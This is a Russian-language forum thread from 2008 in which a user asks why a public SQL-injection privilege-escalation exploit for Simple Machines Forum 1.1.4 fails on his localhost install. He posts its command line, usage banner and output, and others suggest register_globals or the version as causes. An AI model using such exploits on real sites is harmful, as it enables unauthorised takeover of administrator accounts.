Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Нужна помощь по испльзованию эксплойта (https://forum.antichat.xyz/showthread.php?t=89077)

Rashid 26.10.2008 07:24

Нужна помощь по испльзованию эксплойта
 
Эксплойт: http://www.milw0rm.com/exploits/5826
Запускаю:
# python ./smf.py localhost /smf/ i3sdq9d8v1pe4fr20r6qjnqcs5 2

#================================================= ================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#================================================= ================#

[.] Exploit Starts.
[+] Trying to read Sesc
[+] Sesc has been successfully read ==> 891439426d210d5c6e1d50cd68b54f0c
[+] Creating three labels...
[+] Sql code is going to be injected.
[+] All done.
Now user with ID_MEMBER 2 should have administrator rights.
-= Paradox Got This One =-

Насколько я правильно понимаю user with id=2 должен получить administrator rights, но этого не происходит.
Что я делаю не так???

swt1 26.10.2008 11:34

перед использованием ты должен иметь права админа,потом юзай сплойт,включен ли register_globals on?)

Rashid 26.10.2008 12:03

register_globals включен
Цитата:

Сообщение от swt1
перед использованием ты должен иметь права админа

А смысл тогда какой в таком сплойте? Иметь права админа чтобы получить права админа?

swt1 26.10.2008 12:27

Цитата:

Сообщение от Rashid
А смысл тогда какой в таком сплойте? Иметь права админа чтобы получить права админа?

верно не досмотрел)) тогда на сервере выключен регистр глобалс или стоит версия выше.

Rashid 26.10.2008 12:34

Цитата:

Сообщение от swt1
верно не досмотрел)) тогда на сервере выключен регистр глобалс или стоит версия выше.

Я проверяю на localhost и весрия 1,1,4 и register_globals включен

Sleep 26.10.2008 16:15

как ты его запускаеш???

Rashid 26.10.2008 16:33

python ./smf.py localhost /smf/ i3sdq9d8v1pe4fr20r6qjnqcs5 2


Время: 12:32